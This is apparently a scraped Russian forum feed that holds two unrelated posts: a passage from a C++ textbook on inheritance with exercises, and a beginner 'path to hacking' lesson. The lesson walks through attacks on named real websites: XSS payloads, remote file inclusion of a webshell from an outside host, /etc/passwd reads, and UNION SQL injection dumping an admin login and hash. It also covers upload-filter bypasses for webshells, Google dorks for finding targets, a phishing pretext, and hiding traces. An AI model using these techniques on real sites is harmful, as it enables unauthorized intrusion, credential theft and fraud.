вызывается сначала конструктор базового типа, а затем производного, при уничтожении автоматически вызываются деструкторы – естественно, в обратном порядке: сначала деструктор производного, затем базового. Таким образом, деструктор базового класса будет вызван для объекта типа IntArrayRC, хотя тот и не имеет собственной аналогичной функции.<br />Мы поместим все встроенные функции класса IntArrayRC в тот же заголовочный файл IntArrayRC.h. Поскольку у нас нет невстроенных функций, то создавать файл IntArrayRC.C не нужно.<br />Вот пример простой программы, использующей классы IntArray и IntArrayRC:</p> <p>#include &lt;iostream&gt;<br />#include &quot;IntArray.h&quot;<br />#include &quot;IntArrayRC.h&quot;<br />void swap( IntArray &amp;ia, int ix, int jx ){&#160; int tmp = ia[ ix ];&#160; ia[ ix ] = ia[ jx ];&#160; ia[ jx ] = tmp;}<br />int main(){&#160; int array[ 4 ] = { 0, 1, 2, 3 };&#160; IntArray ia1( array, 4 );&#160; IntArrayRC ia2( array, 4 );<br />&#160; // ошибка: должно быть size-1&#160; // не может быть выявлена объектом IntArray&#160; cout &lt;&lt; &quot;swap() with IntArray ia1&quot; &lt;&lt; endl;&#160; swap( ia1, 1, ia1.size() );<br />&#160; // правильно: объект IntArrayRC &quot;поймает&quot; ошибку&#160; cout &lt;&lt; &quot;swap() with IntArrayRC ia2&quot; &lt;&lt; endl;&#160; swap( ia2, 1, ia2.size() );&#160; return 0;}<br />При выполнении программа выдаст следующий результат:</p> <p>swap() with IntArray ia1<br />swap() with IntArrayRC ia2<br />Assertion failed: ix &gt;= 0 &amp;&amp; ix &lt; _size,<br />file IntArrayRC.h, line 19<br />Упражнение 2.8<br />Отношение наследования между типом и подтипом служит примером отношения является. Так, массив IntArrayRC является подвидом массива IntArray, книга является подвидом выдаваемых библиотекой предметов, аудиокнига является подвидом книги и т.д. Какие из следующих утверждений верны?<br />(a) функция-член является подвидом функции<br />(b) функция-член является подвидом класса<br />(c) конструктор является подвидом функции-члена<br />(d) самолет является подвидом транспортного средства<br />(e) машина является подвидом грузовика<br />(f) круг является подвидом геометрической фигуры<br />(g) квадрат является подвидом треугольника<br />(h) автомобиль является подвидом самолета<br />(i) читатель является подвидом библиотеки</p> <p>Упражнение 2.9<br />Определите, какие из следующих функций могут различаться в реализации для производных классов и, таким образом, выступают кандидатами в виртуальные функции:</p> <p>(a) rotate();<br />(b) print();<br />(c) size();<br />(d) DateBorrowed(); // дата выдачи книги<br />(e) rewind();<br />(f) borrower(); // читатель<br />(g) is_late(); // книга просрочена<br />(h) is_on_loan(); // книга выдана<br />Упражнение 2.10<br />Ходят споры о том, не нарушает ли принципа инкапсуляции введение защищенного уровня доступа. Есть мнение, что для соблюдения этого принципа следует отказаться от использования такого уровня и работать только с закрытыми членами. Противоположная точка зрения гласит, что без защищенных членов производные классы невозможно реализовывать достаточно эффективно и в конце концов пришлось бы везде задействовать открытый уровень доступа. А каково ваше мнение по этому поводу?</p> <p>Упражнение 2.11<br />Еще одним спорным аспектом является необходимость явно указывать виртуальность функций в базовом классе. Есть мнение, что все функции должны быть виртуальными по умолчанию, тогда ошибка в разработке базового класса не повлечет таких серьезных последствий в разработке производного, когда из-за невозможности изменить реализацию функции, ошибочно не определенной в базовом классе как виртуальная, приходится сильно усложнять реализацию. С другой стороны, виртуальные функции невозможно объявить как встроенные, и использование только таких функций сильно снизит эффективность. Каково ваше мнение?</p> <p>Упражнение 2.12<br />Каждая из приведенных ниже абстракций определяет целое семейство подвидов, как, например, абстракция “транспортное средство” может определять “самолет”, “автомобиль”, “велосипед”. Выберите одно из семейств и составьте для него иерархию подвидов. Приведите пример открытого интерфейса для этой иерархии, включая конструкторы. Определите виртуальные функции. Напишите псевдокод маленькой программы, использующей данный интерфейс.</p> <p>(a) Точка<br />(b) Служащий<br />(c) Фигура<br />(d) Телефонный_номер<br />(e) Счет_в_банке<br />(f) Курс_продажи</p> mybb@mybb.ru (Farounaga) Mon, 04 Apr 2011 10:25:54 +0400 https://farounaga.forumbb.ru/viewtopic.php?pid=8#p8 https://farounaga.forumbb.ru/viewtopic.php?pid=3#p3 <p>Здесь и сейчас, с этого момента, начинается твой путь в хакеры.<br />Идеология хакинга.<br />Хакинг – это почти религия. Если ты окунулся в этот мир, то не сможешь уйти из него никогда. Хакинг это не хобби, <br />это даже не работа (хотя многие зарабатывают на этом), хакинг – это жизнь!<br />У многих слово &quot;хакер&quot; ассоциируется с эдаким ботаником, день и ночь взламывающим банки и переводящим себе кучу денежек,<br />неустанно беспрерывно сносящим сотни серверов одним ударом без причины. Хочу тебе сказать, что эта мысль в корне<br />неправильная. В этом уроке мы пока еще не будем вскрывать банки (ну разве что банку пива:)), мы поговорим о том, кто такие<br />хакеры, что они делают и какими мотивами руководствуются.</p> <p>Согласно определению, хакер - человек, увлекающийся компьютерами, и испытывающий желание знать о них всё. Запомни, что просто<br />так ничего не происходит, и У любого взлома есть цель, мотив, взломщик и ОТВЕТСТВЕННОСТЬ. При взломе хакером движет <br />элементарное любопытство, желание проникнуть внутрь, найти уязвимость. Если ты со мной не согласен,<br />тебе просто нет смысла читать дальше.<br />Пожалуй, сразу стоит определиться с терминами.<br />Ламер – это не тот кто не знает. Это человек, которые не стремится узнать. Причем, он как правило считает себя опытным хакером. Это классический ламер.<br />Новичок – почему то всегда путают ламера с новичком. Новичок еще мало знает, но он стремится узнать. <br />Хакер – это прежде всего создатель, а не взломщик. СМИ запудрила людям мозги, спутав хакеров и крекеров. Крэкер это как раз взломщик.<br />Правда сейчас у этого термина немного другое значение. Сейчас крекером является человек, которые взламывает программы и игнорирует любые копирайты.<br />Вообще хакер- это вселенский энтузиаст. Давайте будем энтузиастами!</p> <p>Для начала ты должен уметь использовать поисковики. В Инете<br />говорят, google - твой лучший друг. Если у тебя есть какой-либо вопрос, не спеши с ним на форум, поищи уже готовые ответы,<br />ведь наверняка ты не первый, кто его задает. Если ты научишься владеть поисковиком, то дальнейшее изучение не составит проблем. На 90% твоих вопросов ответы есть в Интернете.<br />Конечно, на форумах на адекватный вопрос всегда дадут ответ. Ты всегда можешь попросить помощи у более опытных людей.<br />Но рано или поздно придет время самостоятельно принимать решения, находить выходы из ситуаций. Именно этому<br />я тебя учу - ты должен обладать творческим мышлением, уметь адаптироваться к новым условиям. <br />У всех новичков один вопрос – «С чего начать?»<br />Я бы советовал начать с изучение английского языка, т.к. базовый язык для машин, как раз английский. Если у тебя с этим туго советую немедленно скачать учебник, либо записаться на курсы.<br />Многие говорят, что нужно научиться быстро набирать текст. Это так. Но не стоит скачивать какие то специальные программы. Со временем ты сам не заметишь, как будешь вслепую набирать текст.</p> <p>Ответственность.<br />Что же за ответственность? Думаю догадаться несложно.<br />Существуют статьи УК, в которых описаны наказания за<br />компьютерные преступления. Приведу некоторые:</p> <p>Статья 159. Мошенничество</p> <p>Статья 165. Причинение имущественного ущерба<br />путем обмана или злоупотребления доверием<br />Статья 183. Незаконное получение и<br />разглашение сведений, составляющих<br />коммерческую или банковскую тайну</p> <p>Статья 187. Изготовление или сбыт поддельных<br />кредитных либо расчетных карт и иных<br />платежных документов</p> <p>Статья 272. Неправомерный доступ к<br />компьютерной информации</p> <p>Статья 273. Создание, использование и<br />распространение вредоносных программ для<br />ЭВМ </p> <p>Статьи КоАП РСФСР</p> <p>Статья 137. Изготовление и использование<br />радиопередающих устройств без разрешения</p> <p>Статья 138. Нарушение правил приобретения,<br />установки, строительства и эксплуатации<br />радиоэлектронных средств</p> <p>Статья 139. Нарушение правил охраны линий и<br />сооружений связи </p> <p>Статьи УК РФ </p> <p>Статья 137. Нарушение неприкосновенности<br />частной жизни</p> <p>Статья 138. Нарушение тайны переписки,<br />телефонных переговоров, почтовых,<br />телеграфных или иных сообщений</p> <p>Статья 183. Незаконное получение и<br />разглашение сведений, составляющих<br />коммерческую или банковскую тайну </p> <p>Статья 272. Неправомерный доступ к<br />компьютерной информации</p> <p>Статья 273. Создание, использование и<br />распространение вредоносных программ для ЭВМ.</p> <p>Предположим ты взломал сервер. Но так как ты новичок забыл затереть логи. И твой ip(айпи) адрес остался на сервере. <br />Теперь если администратор обнаружит вторжение, он может смело может пожаловаться твоему провайдеру. <br />Провайдер проверит, кому принадлежал это адрес в указанное время. И твой телефон и домашний адрес у них в руках.<br />Далее - если будет написано заявление в милицию, тебя ждет одна из выше перечисленных статей.<br />Но заявления может и не быть. Провайдер просто отключить тебя от Интернета. Это в лучшем случае.</p> <p>Вообще могу сказать, что лучше всего хранить конфиденциальные данные<br />на CD в запароленном архиве с очень сложным паролем и измененным расширение, либо на флеш носителе, как первый, так и второй уничтожить не составит труда.</p> <p>Путь хакера.<br />Здесь и сейчас, с этого момента, начинается твой путь в хакеры. Где-то в Интернете я видел интересное высказывание: лучший админ - это хакер, и наоборот - лучший хакер - злой админ.<br />Отчасти это правда. Подобно тому, как хороший боец должен хорошо владеть оружием, хакер должен хорошо владеть компьютером. Они знают по нескольку языков программирования, разбираются в операционных<br />системах, знают, как устроен компьютер и могут собрать и разобрать его за 45 секунд). Чтобы успешно находить уязвимости в <br />скриптах, ты должен знать, по какому принципу они работают, а чтобы это понять, надо знать язык, на котором они написаны.<br />Не обязательно знать прям всё, но что-либо альтернативное из каждой группы языков ты должен выбрать. Вот основные языки,<br />которыми пользуются хакеры. Из каждой группы выбери один-два языка:</p> <p>•Ассемблер<br />•Delphi | С/C++ | Visual Basic<br />•HTML, XML, WML<br />•PHP | ASP | JSP | Perl<br />•SQL и кoмпания </p> <p>Не обязательно учить всё сразу, чтоб не говорил, что я тебя запугиваю. Жирным выделены обязательные языки. По возможности<br />найди как можно больше учебников для дальнейшего изучения.</p> <p>Ассемблер используется для взлома shareware-программ, для создания кряков и кейгенов. <br />Дальше. HTML, PHP, ASP, Perl, JavaScript, VBS, JSP, и многие другие объединяют в одну группу - это<br />&quot;веб-языки&quot;. При помощи них создаются веб-сайты, например HackZona написана на PHP. <br />HTML - это не язык программирования. Его название переводится как &quot;HyperText Markup Language&quot; - &quot;язык гипертекстовой разметки&quot;. Т.е. при помощи него не программируют,<br />а только &quot;размечают&quot; документ, показывая компьютеру, где какие данные должны быть. Как говорилось в предыдущем уроке, если<br />при написании сайта ограничиваться только этим языком, то мы просто задаём: здесь рисунок, а тут ссылка, а тут такой-то текст.<br />Таким образом, при каждой загрузке страницы мы увидим одно и то же: рисунок, ссылка, текст. А вот если прикрутить к документу<br />скрипт, написанный на PHP, мы можем указать, что при загрузке рисунка можно выбрать из базы данных, например, ту картинку, что<br />нравится пользователю. <br />Таким образом, они друг друга дополняют. Ты должен чётко ощущать разницу между веб-дизайном и веб-программированием.</p> <p>XML - это тоже язык гипертекстовой разметки, дающий большую гибкость, чем HTML, однако, его тебе пока учить не стоит. WML - разномидность XML, используется для создания wap-сайтов. <br />PHP и Perl - наиболее часто используемые языки веб-программирования.</p> <p>CSS - каскадные таблицы стилей. Это надстройка HTML, используется для визуального украшения документа - неподчёркнутые<br />ссылки, цвет полосы прокрутки, рамки, анимация, и многое-многое другое. Оригинальная версия этой статьи написана с<br />использованием css. Украшены ссылки, элементы списков, рамки для кода и правил, и др. Если ты читаешь статью с HackZona.ru, <br />то перед тобой не оригинальная статья, хотя это никак не отражается на сути урока.</p> <p>Delphi, С/C++/C#, Java, Visual Basic, QBasic, Dark Basic, Pascal, Fortran, etc. - это &quot;прикладные&quot; языки. Приложения, созданные<br />в этих средах разработки, носят расширение *.exe . {+ хотя файлы php - тоже приложения +}</p> <p>SQL - язык баз данных. Ты, наверное, слышал термин SQL injection? Мы к нему вернёмся через несколько уроков. Это уязвимость,<br />позволяющая хакеру вытаскивать данные из базы, передавая их вместе с PHP-запросом. И для этого нужно изучить SQL.</p> <p>Ты сам понимаешь, что учить тебя этим языкам я не буду, я буду учить тебя их использовать. То, что тебя интересует, найдёшь сам. <br />Теперь поговорим немного об ОС (операционная система).<br />Сейчас ты наверняка сидишь под Windows.<br />Кроме windows существуют системы семейства unix, их еще называет *nix (никсы).<br />Юникс систем очень много приведу несколько:<br />Linux, BSD, Solaris.<br />Пока об этом стоит только читать, но в будущем советую поставить какой нибудь дистрибутив Linux, так как эта система как никакая другая подходит для взлома.</p> <p>Существуют разные подвиды хакеров, занимающиеся разными видами деятельности:<br />•Хакинг<br />•Крэкинг<br />•Фрикинг<br />•Социнженеринг/фишинг<br />•Кардинг<br />•Кодинг</p> <p>Каждый занимается чем то своим. <br />Но, например веб хакинг, социнженерию и кодинг можно объединить. Так как в деле одно может дополнять другое. Давайте разберемся со всем этим поподробнее:</p> <p>Хакинг – этим собственно и занимаются хакеры. В этот раздел можно отнести взлом сайтов серверов поиск уязвимостей в скриптах &amp; прикладных программах, <br />написание эксплоитов (или другое название сплоиты)</p> <p>Крэкеры (это не печенье;)) занимаются исследованием начинки программного обеспечения, в частности получение алгоритма <br />генерации серийного номера в платных программах, исп. для создания кейгенераторов. Для этого надо знать ассемблер, чтобы понимать, как устроена программа.</p> <p>Фрикеров часто связывают с электроникой. Фрикер - любитель халявы, который привык не платить за услуги, связанные с электроникой. К этому относят взлом таксофонов, счетчиков, теликов, и т.д. и т.п.<br />Естественно, чтобы этим заниматься, нужно иметь глубокие познания в электронике. Мой папа по образованию - инженер-электронищик. Я 16 лет жил в одной квартире с <br />величайшим фрикером, не зная этого.</p> <p>Социальная инженерия - это единственная наука из всех названных, направленная не на взлом компьютера, а на взлом человека.<br />Сейчас в Сети очень много ламмеров, и элементарно выманить их пароли оказывается достаточно просто. Например, выдать себя за<br />админа почтового сервиса, или тех. консультанта организации, и сказать, что мол поступила жалоба на спам с Вашего ящика, если<br />не хотите его удаления, отошлите такое-то письмо на почтовый робот такой-то, укажите свой логин, пароль, и этот код доступа:<br />46655529 (цифры наугад), и он поверит. Социнженеринг(далее СИ) применяется там, где единственное уязвимое место в системе - <br />пользователь. Пример: зачем ломать mail.ru если можно обмануть юзера?</p> <p>Кардинг - манипуляции с кредитками, мардинг - маниакальное уничтожение взломанных систем. На этих пунктах мы останавливаться<br />не будем по понятным причинам.</p> <p>Конечно, кое-кто раскритикует такое разделение, но новички должны знать эти понятия. Не бывает так, что хакер опытен только<br />в одном деле и безразличен к другим направлениям. Это деление чисто условное.</p> <p>Кодинг - программирование с точки зрения хакерства.</p> <p>Всё, ты уже стал на путь хакерства. Вводные уроки закончились, в следующий раз мы поговорим о более серьезных вещах. <br />Я начну рассказывать тебе о том, как устроен Интернет, какая в нем адресация, что такое IP,порты,proxy и т.д.</p> <p>Приложение<br />Советую почитать книгу &quot;HTML.Первые шаги&quot;. Для ознакомления с HTML это просто НАХОДКА. Учебник написан понятным языком, с<br />примерами кода, иллюстрациями. Респект автору. <br />Для изучение PHP подойдет книга PHP в подлиннике.<br />По линуксу(linux) подойдет книга «Введение в Linux»<br />Все вышеприведенное можно найти в сети с помощью поисковика google. </p> <p>Как раз будет полезно потренироваться искать информацию.</p> <p>Примечание: курсивом будут выделены слова, которые возможно будут вам не понятны. Найти их значение вы сможете в конце статьи.</p> <p>Кто и зачем?<br />Вообще под понятием взлома я понимаю несанкционированный доступ к чему-либо. <br />Мы ломаем веб сайты. Поэтому нам нужно получить доступ к административной панели, либо украсть базу данных сайта, либо просто изменить главную страницу. <br />Все зависит от такого для чего производится взлом.<br />Рассмотрим основные мотивы:</p> <p>Изменения главной странички ради удовольствия &amp;&amp; мести. Это называется «дефейс» сайта<br />Воровство базы данных - это может быть выгодно если мы например взломаем базу данных онлайн шопа (магазина). Либо производится взлом на заказ и заказчику нужна база<br />Взлом производиться ради повышения прав на сервере. </p> <p>Теперь поговорим о таком понятии как скрипт кидди.<br />Скрипт кидди - это люди, как правило не слишком разбирающихся в хаке и программировании.<br />Т.е. которые не могут самостоятельно найти уязвимость и реализовать ее. <br />Так как же они взламывают? Они попросту используют чужие наработки.<br />Допустим скрипт кидди нужно взломать один форум. Он узнает версию форума и идет на багтрак. Находит описание уязвимости и использует ее. <br />Багтраком называют сайт на котором расположены описание уязвимостей форумов CMS, и где выкладываются эксплоиты.<br />Либо второй вариант - для развлечения - скрипт кидди опять же идет на багтрак и выбирает уязвимость. Например, он выбирает сплоит для CMS php nuke 7.0. <br />Далее он идет в поисковик и делает следущюий запрос: <br />site: php nuke 7.0 - этим он получит список сайтов с установленной CMS Nuke<br />Далее он просто использует эксплоит. Это кстати называется гугл хакинг.<br />Как ни крутись, но через период «скрипт кидди» проходил каждый. И придется пройти тебе. Только вот некоторые двигаются дальше, а некоторые останавливаются на этом.</p> <p>Какие бывают уязвимости? Три самых тривиальных уязвимостей это xss sql injection php include<br />В каждом уроке я буду рассказывать понемногу про каждую из них.<br />Сейчас разберем все вкратце не зацикливаясь на деталях уязвимости.</p> <p>XSS. <br />Цель у этой уязвимости одна - украсть Cookes файлы.<br />Итак, сначала из за чего появляются Xss<br />Происходит все это из-за отсутствия фильтрации входящих данных<br />Разберем сразу на примере:<br /><a href="http://www.atlant.ws" rel="nofollow" target="_blank">http://www.atlant.ws</a> Справа мы видим текстовое поля для поиска. Попробуем ввести простой html тег</p><hr /><p>И мы увидим линию (в HTML этот тег означает провести линию)<br />В адресной строке мы видим:<br /><a href="http://www.atlant.ws/?set=search&amp;www=false&amp;query=" rel="nofollow" target="_blank">http://www.atlant.ws/?set=search&amp;ww &#8230; amp;query=</a></p><hr /><p>Значит данные передаются GET запросом.<br />Но от обычного тега опасности никакой. Попробуем ввести простенький javascript сценарий.<br /><a href="http://www.atlant.ws/?set=search&amp;www=false&amp;query=" rel="nofollow" target="_blank">http://www.atlant.ws/?set=search&amp;ww &#8230; amp;query=</a>[script]alert('xss')[/script]<br />Опа. Появилось сообщение. Значит код выполняется. Т.к. в javascript функция alert() выводит сообщение.<br />Это называется пассивная xss. Пассивная она потому что нужно произвести какие то действия что бы выполнить код. В нашем случае нужно передать его в переменную запроса (q)<br />Кроме пассивных xss существует активные.<br />Опять же пример:<br /><a href="http://www.addtop.ru/kom.php?id=32" rel="nofollow" target="_blank">http://www.addtop.ru/kom.php?id=32</a><br />Вводим в комментарии скрипт<br />[script]alert('xss')[/script]<br />И отправляем его.<br />Видим сообщение. Теперь каждый пользователь, который найден на страничку комментариев увидит его.<br />Чувствуешь разницу? В пассивке нужно производить какие то действия с пользователем. Т.е. нужно передавать ему специальный адрес, по которому он должен пройти.<br />А в активке нужно, что бы пользователь попросту посетил страницу, в которой уже заключен наш код.<br />Пока про xss все. Не хочу нагружать тебя информацией. Попробуй поискать активные и пассивные xss. <br />Так же советую хорошенько изучить, что такое Cookes. В следующем уроке мы разберем, как их воровать. И зачем.<br />В конце статьи я приведу несколько полезный ссылок на эту тему.</p> <p>Введение в PHP include.<br />Если мы найден такую уязвимость то сможем либо читать файлы на сервере либо загрузить вебшелл.<br />Разберем сначала, что такое веб шелл.<br />Веб шелл это php скрипт. C помощью него мы сможем изменять файлы сайта или выполнять команды в системе.<br />В общем, шелл заменяет административную панель. Собственно цель большинства взломов залить веб шелл.<br />Какими способами? PHP include один из них. Итак, давайте поверхностно разберем уязвимость</p> <p>Видим на сайте такой url:<br />wwwsite.ru?page=home.html<br />Это значит, что на страничку подгружается файл home.html<br />А что если попробовать подгузить свой файл? Например, так:<br />wwwsite.ru?page=http:/hacker.ru/webshell.php<br />Так мы пробуем загрузить веб шелл на сайт.<br />Если мы увидим результат работы webshell.php значит нам круто повезло. И можно считать, что сайт взломан.<br />Это называется удаленный инклуд. Удаленный потому что нам удалось загрузить скрипт с другого сервера.<br />Кроме удаленных, инклуды бывают локальные.<br />В этом случае мы сможем только читать файлы на сервере.<br />Например, сейчас мы попробуем прочитать файл с именами пользователей системы:<br />wwwsite.ru?page=/etc/passwd<br />Вот, опять же попробуй поискать php include. Советую воспользоваться google:<br />Inurl:page=<br />Такой запрос покажет нам сайты, в урле которых присутствует строка &quot;page=”. Далее попробуй подставить любой набор символов в параметр page. Если появиться ошибка, значит скрипт уязвим<br />Кстати если найдешь php инклуд, то можно получить xss вот так:<br />wwwsite.ru?page=[script]alert(/xss/)[/script] <br />Это работает во многих случаях.<br />В следующем уроке я расскажу о том: почему происходит php include, что такое null byte и трудности при чтении файлов.</p> <p>Введение в SQL Injection<br />Очень распространенная уязвимость. Суть ее использования заключается в том, что бы вытащить необходимую нам информацию из базы данных. Обычно этими данными является логин и пароль администратора сайта.<br />Но иногда возможно залить шелл или прочитать файл с помощью sql injection. Об этом поговорим в следующих уроках. А сейчас самые основы<br />Мы будем разбирать инъекцию при работе с базой данных my sql. Она самая распространенная. Кроме нее часто встречаются mssql, oracle. Каждую нужно взламывать по-своему. Но сейчас mysql. Уязвимость можно найти, если мы увидим что в адресной строке параметру передается числовое значение. Например:<br /><a href="http://www.descom.ch/main.php?id=18646644" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=18646644</a><br />Что бы проверить параметр на sql injection обычно подставляют кавычку<br /><a href="http://www.descom.ch/main.php?id=18646644'" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=18646644'</a> либо другие левые символы<br />Видим ошибку. Понимаем что это mysql.<br />Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www/web137/html/descom/include/queries.inc.php on line 19</p> <p>Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны (т.е. из каких колонок можно вынудить инфу) Делается это с помощью конструкции order by.<br /><a href="http://www.descom.ch/main.php?id=18646644’+order+by+10/*" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; er+by+10/*</a><br />Вывод то же самый, значит полей меньше<br /><a href="http://www.descom.ch/main.php?id=18646644+order+by+7/*" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=18646644+order+by+7/*</a><br />Да. Вывод изменился. Значит полей 7.<br />Теперь нужно получить читабельные поля. <a href="http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,6,7/*" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; ,4,5,6,7/*</a><br />Вывод: 4,5. Узнать нам это удалось с помощью конструкции union select<br />У нас есть колонки. Теперь нужно получить информация о базе.<br /><a href="http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; ,3,version</a>(),5,6,7/*<br />Видим что mysql v5 - - В этой версии есть кое какие особенности при взломе, но пока разбирать это не будем и попробуем просто подобрать таблицу.<br />Делается это так:<br /><a href="http://www.descom.ch/main.php?id=18646644'+union+select+1,2,3,version" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; ,3,version</a>(),5,6,7/+from+таблица/*<br />таблицу нам нужно подобрать самим. Самые распространенная это user или users. Список часто используемых таблиц можно найти по этой <br />ссылке<br />В нашем случае мне удалось узнать, что имя таблицы user.<br />Теперь можно приступить к выводу информации. Нам нужно достать логин и пароль.<br />Попробуем:<br /><a href="http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*" rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; rom+user/*</a><br />И у нас на экране логин и хеш пароля администратора.<br />Вот таким не хитрым образом удалось поломать базу.<br />Кстати здесь тоже имеет место xss:<br /><a href="http://www.descom.ch/main.php?id=18646644+union+select+1,2,3," rel="nofollow" target="_blank">http://www.descom.ch/main.php?id=186466 &#8230; ect+1,2,3,</a>[script]alert(/xss/)[/script],5,6,7/*</p> <p>Итак, мы разобрали три основных уязвимости. Я не стал пока копать глубоко, а рассказал только поверхностную информацию, что бы немного вас завлечь. В следуюих уроках <br />я буду рассказывать о причинах уязвимостей, так же буду приводить куски уязвимых программ. Так что желательно подучить php и mysql<br />Кстати набор инъекция и инклудов для тренировки ты всегда сможешь найти на форуме <a href="http://vzlom.ixbb.ru" rel="nofollow" target="_blank">http://vzlom.ixbb.ru</a>:</p> <p>Еще парочка способов загрузить веб шелл.<br />Как ты наверное уже понял главное это веб шелл. Выше я показывал, как его можно залить с помощью php include. Но это конечно не единственный способ<br />На множестве сайтов присутствует возможность загрузки каких либо файлов. Уже догадался? Мы без проблем сможем вместо обычного файла подставить веб шелл. Но не все так просто. Иногда скрипт проверяет разрешение. <br />Допустим нам можно загрузить картинку. Но если вместо нее мы попытаемся залить файл webshell.php скрипт может проверить разрешение и запретить загрузку. Это можно обойти таким способом:<br />Поменять разрешение на такое:<br />webshell.php.jpg.<br />и возможно нам удастся загрузить шелл.<br />Но бывает, что сайт проверяет не только имя файла, но и его содержимое. Т.е он смотрит картинка это или текст<br />Для этого можно поступить вот так:<br />Открыть картинку в любом текстовом редакторе и в конце добавить php скрипт. </p> <p>Термины, используемые в статье.<br />Ниже я приведу слова, которые возможно были тебе не понятно по ходу статьи:<br />Дефейс- замена страницы сайта на свою либо редактирование страницы под собственные нужны. Например &quot;Hacked by вася&quot;<br />CMS или еще говорят движок-двиг - система управления сайтом. <br />Эксплоит - сплоит -exploit-xploit - программа автоматически реализующая какую либо уязвимость. По сути, сплоит можно написать почти на любом язык программирования<br />Cookes – файлы которые применяется для сохранения данных на стороне пользователя, на практике обычно используется для:<br />аутентификации пользователя;<br />хранения персональных предпочтений и настроек пользователя;<br />отслеживания состояния сессии доступа пользователя;<br />ведения статистики о пользователях.<br />Если мы украдем «Куки» администратора сайта и заменим их на свои, то без проблем сможем аутентифицироваться как админ.<br />В следующей статье я как раз расскажу про воровство Cookes с помощью xss<br />bugtraq-багтрак - Сайт на котором располагаются эксплоиты и описание уязвимостей в CMS форумах и программном обеспечении.<br />Google hacking - гугл хакинг - Использование поисковика google для поиска уязвимых стайтов либо для сбора информации о сайте. </p> <p>Послесловие<br />Вот и подошел к концу 2 урок. На следущем мы более подробно разберем xss php include и sql injection. Далее я покажу несколько приемов в веб хаке. И в конце мы поговорим об эксплоитах.<br />Для самообразования можно почитать вот это:<br />xss <br />sql injection<br />php include</p> <p>А также<br />теоретические основы хакинга<br />Также очень советую почаще посещать багтрак и разбирать уязвимости которые там описываются. На этом пока все. Удачи!<br />ps все уголковые теги заменены на [ и ]</p> mybb@mybb.ru (Farounaga) Mon, 28 Mar 2011 13:04:01 +0400 https://farounaga.forumbb.ru/viewtopic.php?pid=3#p3